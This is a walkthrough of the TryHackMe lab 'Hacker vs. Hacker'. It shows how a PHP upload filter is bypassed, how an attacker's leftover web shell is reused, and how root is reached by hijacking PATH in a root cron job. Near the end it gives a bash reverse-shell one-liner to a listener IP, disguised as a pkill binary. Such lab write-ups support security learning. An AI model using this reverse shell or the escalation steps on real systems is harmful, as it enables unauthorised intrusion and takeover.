THM [Easy Lab] – Hacker vs. Hacker

THM [Easy Lab] - Hacker vs. Hacker

Someone has compromised this server already! Can you get in and evade their countermeasures?

Running Nmap against the target machine, we can see that there are two open ports: SSH and HTTP. As we already know from the challenge description, the organization is hosting a website.

Browsing the website, I discovered a place where we can upload our CV. I decided to try the most basic approach first: uploading a PHP shell (how did I know the backend was running PHP? Just look at the upload path — upload.php :v). When I tried to upload it, I received a message saying: “Hacked! If you don’t want me to upload my shell, do better at filtering!”, along with some commented code, which clearly appears to be the source code of upload.php.

When reading this code, we can clearly see that upload.php only accepts PDF files and saves them directly into the /cvs directory. It contains a very common classic logic bug with strpos: as long as the string .pdf appears anywhere in the filename, even if it is not at the end, the check passes.

Next, there is no MIME type validation at all, meaning we can keep the default MIME type when uploading a PHP shell—just prepend .pdf before .php and it will be accepted. In addition, the filename is not randomized, which makes it easy to overwrite existing files or guess filenames after upload.

Since we already know the upload path and the filename is not changed, exploiting this upload vulnerability becomes extremely easy.

I proceeded to use a PHP web shell and renamed it to mycv.pdf.php, then attempted to upload it to the target system. However, when I tried exploiting it this way, I still couldn’t upload the file to the target site (well, I was too confident after explaining the code above).

I then tried additional filter bypass techniques such as using different extensions and changing the MIME type, but none of them worked. After rereading the challenge description, I noticed that the admins had already made an effort to fix this machine, which means the upload code had been patched. However, it also mentioned that their attempts to block the hacker were still ineffective—implying that the attacker’s backdoor payload might still be present on the machine to maintain access.

So I tried directory scanning the /cvs directory using ffuf to see if there were any files that had bypassed the filter before, such as files with a filename.pdf.php structure.

After using ffuf, I discovered a file named shell.pdf.php.

I tried accessing it, but it only returned rendered content, which means we need to find an additional parameter to execute commands in this PHP web shell. I then attempted to find that parameter by fuzzing with something like FUZZ=whoami, and I discovered that the parameter name was cmd.

Now all that’s left is to use this web shell to gather information on the machine. The first step is to find the user flag in the /home directory.

Since constantly interacting through the web interface isn’t really a good approach, I decided to upload a PHP reverse shell to the target instead. Although the upload vulnerability has been fixed, we already have RCE, so we can simply use wget to download our reverse shell file into the /cvs directory.

I noticed that there is a user named lachlan on this machine. I saw a backup.sh file in the bin directory of user lachlan, but it didn’t seem to contain anything particularly interesting. I then continued by reading this user’s .bash_history file and discovered the following line:

“echo -e “dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123” | passwd”

This line means changing the password of the current user in a non-interactive way.

I’ll explain it briefly:

Normally, when you run passwd, it expects interactive input like this:

Current password:
New password:
Retype new password:

passwd reads three consecutive lines from stdin.
The command echo -e provides those lines through stdin, which results in the following input being passed to passwd:

dHY5pzmNYoETv7SuaY
thisistheway123
thisistheway123

Therefore, the new password of user lachlan is: thisistheway123

Okay, now that I have obtained the credentials of user lachlan, I will proceed to log in as this user to continue deeper exploitation. I noticed that this user has set up a persistence cron job in cron.d.

After logging in and reading the cron configuration, I can see that the pkill binary is not using an absolute path. In the cron file, the PATH variable is defined with /home/lachlan/bin appearing first.

So there’s nothing left to do but create a malicious pkill binary inside /home/lachlan/bin, containing a reverse shell that connects back to my attacking machine in order to obtain a root shell. This works because all binaries executed by this cron job run with root privileges.

This is a classic mistake made by system administrators when they do not use absolute paths in crontabs or scripts.

Proceed to create the payload and masquerade it as the pkill binary:

echo “bash -c ‘bash -i >& /dev/tcp/192.168.130.44/1234 0>&1′” > bin/pkill ; chmod +x bin/pkill

After that, I set up an ncat listener, and shortly after, I obtained a root shell. At this point, all that’s left to do is retrieve the flag from the root directory.